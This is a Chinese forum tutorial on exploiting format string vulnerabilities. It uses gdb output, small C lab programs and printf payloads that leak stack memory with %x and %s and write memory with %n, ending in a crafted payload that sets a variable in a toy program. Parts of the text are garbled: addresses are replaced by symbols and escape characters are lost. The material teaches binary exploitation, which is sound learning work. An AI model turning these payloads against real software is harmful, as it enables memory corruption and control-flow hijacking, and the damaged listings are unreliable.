阅读:2629回复:0
漏洞挖掘基础之格式化字符串
◆0 序
格式化字符串漏洞是一个很古老的漏洞了,现在几乎已经见不到这类漏洞的身影,但是作为漏洞分析的初学者来说,还是很有必要研究一下的,因为这是基础啊!!!所以就有了今天这篇文章。我文章都写好了,就差你来跟我搞二进制了!%>.>> start Temporary breakpoint 1 at 0x8048429 Starting program: /home/bingtangguan/Desktop/format/format1 ─── Output/messages ──────────────────────────────────────────────────────────── Temporary breakpoint 1, ◆8048429 in main () ─── Assembly ─────────────────────────────────────────────────────────────────── ◆8048425 main+10 push %ebp ◆8048426 main+11 mov %esp,%ebp ◆8048428 main+13 push %ecx ◆8048429 main+14 sub $0x24,%esp ◆804842c main+17 movl $0x1,-0xc(%ebp) ◆8048433 main+24 movl $0x2,-0x10(%ebp) ◆804843a main+31 movl $0x3,-0x14(%ebp) ─── Expressions ──────────────────────────────────────────────────────────────── ─── History ──────────────────────────────────────────────────────────────────── ─── Memory ───────────────────────────────────────────────────────────────────── ─── Registers ────────────────────────────────────────────────────────────────── eax ◆0000001 ecx 0xbffff070 edx 0xbffff094 ebx 0xb7fc1000 esp 0xbffff054 ebp 0xbffff058 esi ◆0000000 edi ◆0000000 eip ◆8048429 eflags [ PF SF IF ] cs ◆0000073 ss ◆000007b ds ◆000007b es ◆000007b fs ◆0000000 gs ◆0000033 ─── Source ───────────────────────────────────────────────────────────────────── ─── Stack ────────────────────────────────────────────────────────────────────── [0] from ◆8048429 in main+14 (no arguments) ─── Threads ──────────────────────────────────────────────────────────────────── [1] id 3590 name format1 from ◆8048429 in main+14 ──────────────────────────────────────────────────────────────────────────────── >>> break printf Breakpoint 2 at 0xb7e652f0: file printf.c, line 28. >>> r Starting program: /home/bingtangguan/Desktop/format/format1 ─── Output/messages ──────────────────────────────────────────────────────────── Breakpoint 2, __printf (format=0x8048510 "%s %d %d %d %xn") at printf.c:28 28 printf.c: No such file or directory. ─── Assembly ─────────────────────────────────────────────────────────────────── 0xb7e652f0 __printf+0 push %ebx 0xb7e652f1 __printf+1 sub $0x18,%esp 0xb7e652f4 __printf+4 call 0xb7f3d90b 0xb7e652f9 __printf+9 add $0x15bd07,%ebx ─── Expressions ──────────────────────────────────────────────────────────────── ─── History ──────────────────────────────────────────────────────────────────── ─── Memory ───────────────────────────────────────────────────────────────────── ─── Registers ────────────────────────────────────────────────────────────────── eax 0xbffff03f ecx 0xbffff070 edx 0xbffff094 ebx 0xb7fc1000 esp 0xbffff00c ebp 0xbffff058 esi ◆0000000 edi ◆0000000 eip 0xb7e652f0 eflags [ PF ZF IF ] cs ◆0000073 ss ◆000007b ds ◆000007b es ◆000007b fs ◆0000000 gs ◆0000033 ─── Source ───────────────────────────────────────────────────────────────────── Cannot access "/build/buildd/glibc-2.19/stdio-common/printf.c" ─── Stack ────────────────────────────────────────────────────────────────────── [0] from 0xb7e652f0 in __printf+0 at printf.c:28 arg format = 0x8048510 "%s %d %d %d %xn" [1] from ◆8048466 in main+75 (no arguments) ─── Threads ──────────────────────────────────────────────────────────────────── [1] id 3594 name format1 from 0xb7e652f0 in __printf+0 at printf.c:28 </pre> 我们查看一下此时的栈布局: >>> x/10x $sp 0xbffff00c: ◆8048466 ◆8048510 0xbffff03f ◆0000001 0xbffff01c: ◆0000002 ◆0000003 ◆0c30000 ◆0000001 0xbffff02c: ◆80482bd 0xbffff2c4 我们已经看到了◆0c30000,根据第一节我们对栈帧布局的认识,我们可以想象一下调用printf()函数后的栈的布局是什么样的 >>> x/20x $sp 0xbffff00c: ◆8048466 ◆8048510 0xbffff03f ◆0000001 0xbffff01c: ◆0000002 ◆0000003 ◆0c30000 ◆0000001 0xbffff02c: ◆80482bd 0xbffff2c4 ◆000002f ◆804a000 0xbffff03c: 0x740484d2 ◆0747365 ◆0000003 ◆0000002 0xbffff04c: ◆0000001 0xb7fc13c4 0xbffff070 ◆0000000 图片:20151014060828105082015-10-03_171444.jpg 看了上面的图,相信大家已经很明白了吧,只要我们能够控制format的,我们就可以一直读取内存数据。 printf("%s %d %d %d %x %x %x %x %x %x %x %xn",buf,a,b,c) bingtangguan@ubuntu:~/Desktop/format$ ./format2 test 1 2 3 c30000 1 80482bd bf8bf301 2f 804a000 740484d2 747365 上一个例子只是告诉我们可以利用%x一直读取栈内的内存数据,可是这并不能满足我们的需求不是,我们要的是任意地址读取,当然,这也是可以的,我们通过下面的例子进行分析: #include int main(int argc, char *argv[]) { char str[200]; fgets(str,200,stdin); printf(str); return 0; } 有了上一个小例子的经验,我们可以直接尝试去读取str[]的内容呢 gdb调试,单步运行完call 0x8048340 后输入: AAAA%08x%08x%08x%08x%08x%08x(学过C语言的肯定知道%08x的意义,不明白的也不要紧,可以先看一下后面的特性三,我这里就不再多说了) 然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始): >>> x/10x $sp 0xbfffef70: 0xbfffef88 ◆00000c8 0xb7fc1c20 0xb7e25438 0xbfffef80: ◆8048210 ◆0000001 0x41414141 0x78383025 0xbfffef90: 0x78383025 0x78383025 继续执行,看我们能获得什么,我们成功的读到了AAAA: AAAA000000c8b7fc1c20b7e25438080482100000000141414141 这时候我们需要借助printf()函数的另一个重要的格式化字符参数%s,我们可以用%s来获取指针指向的内存数据。 那么我们就可以这么构造尝试去获取0x41414141地址上的数据: x41x41x41x41%08x%08x%08x%08x%08x%s 到现在,我们可以利用格式化字符串漏洞读取内存的内容,看起来好像也没什么用啊,就是读个数据而已,我们能不能利用这个漏洞修改内存信息(比如说修改返回地址)从而劫持程序执行流程呢,这需要看printf()函数的第二个特性。 # 特性二:利用%n格式符写入数据 %n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址,看下面的代码: #include main() { int num=66666666; printf("Before: num = %dn", num); printf("%d%nn", num, &num); printf("After: num = %dn", num); } 可以发现我们用%n成功修改了num的值: bingtangguan@ubuntu:~/Desktop/format$ ./format2 Before: num = 66666666 66666666 After: num = 8 现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。 # 特性三:自定义打印字符串宽度 我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果: #include main() { int num=66666666; printf("Before: num = %dn", num); printf("%.100d%nn", num, &num); printf("After: num = %dn", num); } 可以看到我们的num值被改为了100 bingtangguan@ubuntu:~/Desktop/format$ ./format2 Before: num = 66666666 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 66666666 After: num = 100 看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可: printf("%.134512640d%nn", num, &num); printf("After: num = %xn", num); 可以看到,我们的num被成功修改为8048000 bingtangguan@ubuntu:~/Desktop/format$ ./format2 Before: num = 66666666 中间的0省略........... 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666 After: num = 8048000 bingtangguan@ubuntu:~/Desktop/format$ 明白了这个原理之后,我们接下来尝试任意地址写作为本章的结束。知识库之前有一篇格式化字符串漏洞文章,在文章最后有一个实例,但是在我按照作者的方法进行测试的时候,发现并不能成功利用,于是我利用任意地址写的方法完成该实验。 代码参考链接:http://drops.wooyun.org/binary/7714 #include int main(void) { int flag = 0; int *p = &flag; char a[100]; scanf("%s",a); printf(a); if(flag == 2000) { printf("good!!n"); } return 0; } 首先分析一下汇编代码,下面这一段代码就是将p指向flag,并且将局部变量flag、p压栈,我们只需要利用格式化字符串漏洞覆盖掉*p指向的内存地址的内容为2000就可以了。 80484ac: c7 45 f0 00 00 00 00 movl $◆,-0x10(%ebp) 80484b3: 8d 45 f0 lea -0x10(%ebp),%eax 80484b6: 89 45 f4 mov %eax,-0xc(%ebp 下面我们要做到是找到*p指向的内存地址,也就是ebp-0x10的地址。 gdb载入程序,重点关注以上三条指令执行结果: >>> x/10x $ebp-0x10 0xbffff048: ◆0000000 0xb7e4977d 0xb7fc13c4 0xbffff070 0xbffff058: ◆0000000 0xb7e31a83 ◆8048510 ◆0000000 0xbffff068: ◆0000000 0xb7e31a83 现在我们知道了,我们需要将0xbffff048这个地址的内容修改为2000。这里有一点需要特别注意: gdb调试环境里面的栈地址跟直接运行程序是不一样的,也就是说我们在直接运行程序时修改这个地址是没用的,所以我们需要结合格式化字符串漏洞读内存的功能,先泄露一个地址出来,然后我们根据泄露出来的地址计算出ebp-0x10的地址。 我们继续在gdb调试,执行get()函数后随便输入AAAAAAA,执行到printf()的时候观察栈区: 图片:20151014060828105082015-10-03_171444.jpg 我们如果只输入%x的话就可以读出esp+4地址上的数据,也就是0xbfffefe4,而我们需要修改的地址为0xbffff048,这两个地址的偏移为0x64。 下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值: bingtangguan@ubuntu:~/Desktop/format$ ./test %x bffff024 那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088 最后就是要在地址0xbffff088处写入2000: x88xf0xffxbf%10x%10x%10x%1966x%n bingtangguan@ubuntu:~/Desktop/format$ python -c "print 'x88xf0xffxbf%10x%10x%10x%.1966x%n'" > 11 bingtangguan@ubuntu:~/Desktop/format$ cat 11 | ./test ���� bffff024 0 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003good!! |
|
|